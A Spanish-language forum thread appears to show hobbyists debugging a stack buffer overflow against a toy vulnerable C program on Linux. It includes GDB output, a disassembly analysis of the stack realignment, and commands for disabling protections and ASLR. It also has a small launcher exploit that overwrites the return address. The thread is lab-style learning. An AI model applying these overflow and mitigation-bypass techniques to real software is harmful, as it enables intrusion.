¡¡¡ No puedo sobreescribir el RET !!!

[Garfield07]

Bueno, tengo un proyectito en las manos, pero no quiero empezarlo hasta acabar esta tonteria...
Escribo esto aqui porque el tema "No puedo sobreescribir EIP" ya no seria... "correcto"

Bueno, hice un programa muy sencillito, BoF, para explotarlo en Linux. Desactivo protecciones, y me encuentro con que
Mi code:

Código (c) [Seleccionar] Expandir


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv [])
{
if (argc != 2) return 1;
char buffer [4];
strcpy (buffer, argv [1]);
return 0;
}


int feo ()
{
printf ("Hola");
exit (1);
}

Ahora, corro en GDB, y...

Código [Seleccionar] Expandir


(gdb) r $(perl -e 'print "A"x8 ."B"x4;')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x8 ."B"x4;')

Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main ()
(gdb)

Por que no me muestra el mensajito de "Cann't access memory at position 0x41414141"?
PD: Tengo la shellcode lista y preparada... Gracias por leer y (espero) vuestras respuestas.
PD2: Aparte, la shellcode es para luego. Lo que quiero es que me salte a la funcion feo. Mas tarde metere la shellcode...

[Ivanchuk]

Igual te esta diciendo que se fue de rango con el SIGSEGV, o sea que no puede ejecutar esa instruccion. Parece que no te esta tomando el bof.
Proba de hacer ejecutable la pila.

Código [Seleccionar] Expandir

gcc -fno-stack-protector -z execstack tuprog.c

[Garfield07]

Nada. Alguna idea?

Código [Seleccionar] Expandir


Starting program: /home/juanra/Escritorio/Shell/vuln AAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main ()
(gdb)


[Ivanchuk]

que sos complicado sangrini . Proba de mandarle mas bytes, a mi me funciono, debe haber otras boludeces en la pila a parte de tu buffer.

[AlbertoBSD]

compila el programa sin informacion de depuracion y pega el codigo en asm. te lo da el disas main.

Saludos

[M3st4ng]

Hola!

Esto que te está pasando es lo mismito que postee yo hace semanas. Es por algún parámetro que usa gcc como protección. Busca por "google" porque recuerdo haber probado varias cosas, incluso compilé con otras versiones del gcc.

¿Has probado a poner esto?

Código [Seleccionar] Expandir



sysctl -w kernel.randomize_va_space=0


[Garfield07]

Sep, lo tengo desactivado por cuestiones de dificultad aun no puedo

[Garfield07]

compila el programa sin informacion de depuracion y pega el codigo en asm. te lo da el disas main.

Sin? Ahora mismo lo pruebo...

Código [Seleccionar] Expandir


0x08048464 <main+0>: lea    ecx,[esp+0x4]
0x08048468 <main+4>: and    esp,0xfffffff0
0x0804846b <main+7>: push   DWORD PTR [ecx-0x4]
0x0804846e <main+10>: push   ebp
0x0804846f <main+11>: mov    ebp,esp
0x08048471 <main+13>: push   ecx
0x08048472 <main+14>: sub    esp,0x24
0x08048475 <main+17>: mov    DWORD PTR [ebp-0x1c],ecx
0x08048478 <main+20>: mov    eax,DWORD PTR [ebp-0x1c]
0x0804847b <main+23>: cmp    DWORD PTR [eax],0x2
0x0804847e <main+26>: je     0x8048489 <main+37>
0x08048480 <main+28>: mov    DWORD PTR [ebp-0x18],0x1
0x08048487 <main+35>: jmp    0x80484af <main+75>
0x08048489 <main+37>: mov    edx,DWORD PTR [ebp-0x1c]
0x0804848c <main+40>: mov    eax,DWORD PTR [edx+0x4]
0x0804848f <main+43>: add    eax,0x4
0x08048492 <main+46>: mov    eax,DWORD PTR [eax]
0x08048494 <main+48>: mov    DWORD PTR [esp+0x4],eax
0x08048498 <main+52>: lea    eax,[ebp-0x8]
0x0804849b <main+55>: mov    DWORD PTR [esp],eax
0x0804849e <main+58>: call   0x8048374 <strcpy@plt>
0x080484a3 <main+63>: call   0x8048344 <getchar@plt>
---Type <return> to continue, or q <return> to quit---
0x080484a8 <main+68>: mov    DWORD PTR [ebp-0x18],0x0
0x080484af <main+75>: mov    eax,DWORD PTR [ebp-0x18]
0x080484b2 <main+78>: add    esp,0x24
0x080484b5 <main+81>: pop    ecx
0x080484b6 <main+82>: pop    ebp
0x080484b7 <main+83>: lea    esp,[ecx-0x4]
0x080484ba <main+86>: ret   


Y mi idea es que el EBP no va en la pila...
Le meto este exploit...

Código (c) [Seleccionar] Expandir


#include <stdio.h>
#include <string.h>

int main ()
{
char  nops [4];
memset (nops, '\x90', 4);
char ret [4] = "\xbb\x84\x04\x08";

char command [19];
strcpy (command, "./vuln ");
strcat (command, nops);
strcat (command, ret);
system (command);

return 0;
}

Se me ha ocurrido una cosa...
Le meto cuatro nops, que son para el buffer, y listo. Sin EBP. Los 4 NOPS y ret. El ret apunta a una funcion que no se llega a ejecutar con un printf y un exit. Es sencillo. Solo ejecutar ese printf. Sin embargo... Fallo de segmentación, no se cuantos nops meterle, si 4, 8, 12...
Voy a probar otra cosa y posteo...

[Garfield07]

He probado a meterle 4, 8 y ahora 12 nops, pero me da fallo de segmentacion...
Que le pasa?

[Ivanchuk]

Tendrias que analizar tu codigo. Tenes como una especie de proteccion. Fijate

El main es llamado por __libc_start_main asi que se puede suponer que a la entrada de tu main en el top de la pila tengas la ip de retorno a una direccion x de __libc_start_main, ponele que se llame ret_libc.

ESP:     ret_libc
ESP+4: main_param

Suponiendo que ese es el estado de la pila en main+0 se puede arrancar a ver como evoluciona

Código [Seleccionar] Expandir


0x08048464 <main+0>: lea    ecx,[esp+0x4] ; ECX apunta a main_param
0x08048468 <main+4>: and    esp,0xfffffff0; Alineacion de la pila a 16 bytes
0x0804846b <main+7>: push   DWORD PTR [ecx-0x4]; Mete en la pila el valor ret_libc
0x0804846e <main+10>: push   ebp; Salva ebp
0x0804846f <main+11>: mov    ebp,esp
0x08048471 <main+13>: push   ecx; Y salva ecx


Si se siguió bien el hilo, el estado de la pila a esta altura seria una cosa asi:

ESP  : ECX, o puntero a main_param
+4   : EBP
+8   : ret_libc
--- Espacio de alineacion ---
+8+a     : ret_libc
+8+a+4 : main_param

Siguiendo la ejecucion

Código [Seleccionar] Expandir


0x08048472 <main+14>: sub    esp,0x24; "malloc" de tus variables internas
0x08048475 <main+17>: mov    DWORD PTR [ebp-0x1c],ecx
0x08048478 <main+20>: mov    eax,DWORD PTR [ebp-0x1c]
0x0804847b <main+23>: cmp    DWORD PTR [eax],0x2
0x0804847e <main+26>: je     0x8048489 <main+37>
0x08048480 <main+28>: mov    DWORD PTR [ebp-0x18],0x1
0x08048487 <main+35>: jmp    0x80484af <main+75>
0x08048489 <main+37>: mov    edx,DWORD PTR [ebp-0x1c]
0x0804848c <main+40>: mov    eax,DWORD PTR [edx+0x4]
0x0804848f <main+43>: add    eax,0x4
0x08048492 <main+46>: mov    eax,DWORD PTR [eax]
0x08048494 <main+48>: mov    DWORD PTR [esp+0x4],eax
0x08048498 <main+52>: lea    eax,[ebp-0x8]
0x0804849b <main+55>: mov    DWORD PTR [esp],eax
0x0804849e <main+58>: call   0x8048374 <strcpy@plt>
0x080484a3 <main+63>: call   0x8048344 <getchar@plt>
---Type <return> to continue, or q <return> to quit---
0x080484a8 <main+68>: mov    DWORD PTR [ebp-0x18],0x0
0x080484af <main+75>: mov    eax,DWORD PTR [ebp-0x18]
0x080484b2 <main+78>: add    esp,0x24; "Free" de tus variables internas


Suponiendo que argv[1] puede crashear todo el frame de main, todos los pops que tenes aca estan infectados.

Código [Seleccionar] Expandir


0x080484b5 <main+81>: pop    ecx; ecx = 0x41414141
0x080484b6 <main+82>: pop    ebp; ebp = 0x41414141
0x080484b7 <main+83>: lea    esp,[ecx-0x4]; esp = 0x4141413d
0x080484ba <main+86>: ret   


Cuando se ejecute el ret, la direccion de retorno se va a buscar a la 0x4141413d.
Esa doble referencia que prepara la pila para el ret te obliga a conocer la direccion exacta de tu exploit. Si tenes el randomize activado es complicado, sino podes arreglartelas sabiendo que el ret se toma de una direccion que metas en la pila menos 4.
Por lo que el payload deberia contener 0x24 bytes(variables internas) + ECX + EBP + RET2EXPLOIT. Con ECX apuntando a donde esta RET2EXPLOIT + 4 y RET2EXPLOIT apuntando a tu shellcode.

Ahora bien, si alguien sabe:
- Porque guarda dos veces ret_libc en la pila si despues lo salta para volver al estado del frame anterior en main+83?